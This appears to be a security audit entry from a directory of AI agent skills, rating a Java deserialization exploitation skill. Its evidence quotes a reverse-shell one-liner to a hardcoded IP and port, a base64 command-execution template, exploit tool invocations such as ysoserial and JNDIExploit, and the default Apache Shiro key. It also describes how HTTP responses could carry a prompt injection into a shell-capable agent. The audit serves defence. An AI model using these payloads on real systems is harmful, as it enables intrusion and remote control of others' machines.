The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill provides specific payload templates for establishing reverse shells and executing arbitrary commands on remote Java applications.
Evidence: Payloads such as bash -i >& /dev/tcp/10.10.14.10/7878 0>&1 and bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i} are detailed in references/jndi-fastjson.md and references/ysoserial-gadgets.md.
[COMMAND_EXECUTION]: The instructions direct the agent to run various Java-based exploitation tools via the command line, which could be used to execute malicious code if the environment is not secured.
Evidence: Commands such as java -jar JNDIExploit.jar, java -jar ysoserial.jar, and java -cp marshalsec-0.0.3-SNAPSHOT-all.jar are explicitly provided in references/jndi-fastjson.md.
[EXTERNAL_DOWNLOADS]: The methodology relies on the acquisition and use of several external security tools (JAR files) from unverified or non-standard sources.
Evidence: References to JNDIExploit.jar, ysoserial.jar, marshalsec-0.0.3-SNAPSHOT-all.jar, and JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar appear across the skill's reference files.
[CREDENTIALS_UNSAFE]: The skill contains a hardcoded default cryptographic key for Apache Shiro, which is a common target in deserialization attacks.
Evidence: The key kPH+bIxk5D2deZiIxcaaaA== is listed as a default secret in SKILL.md and references/jndi-fastjson.md.
[INDIRECT_PROMPT_INJECTION]: The skill is designed to ingest and analyze untrusted data from external network responses (e.g., HTTP headers, cookies, and POST bodies) to identify vulnerabilities, creating a surface where an attacker could influence the agent's behavior.
Ingestion points: The skill analyzes Cookie (e.g., rememberMe), POST Body, and custom Header content as specified in SKILL.md.
Boundary markers: None are specified to protect the agent from instructions embedded within the analyzed data.
Capability inventory: The skill has the capability to execute shell commands and perform network operations using the http_request tool.
Sanitization: There are no explicit instructions for sanitizing or escaping the data read from external targets before processing it.

java-deserialization-methodology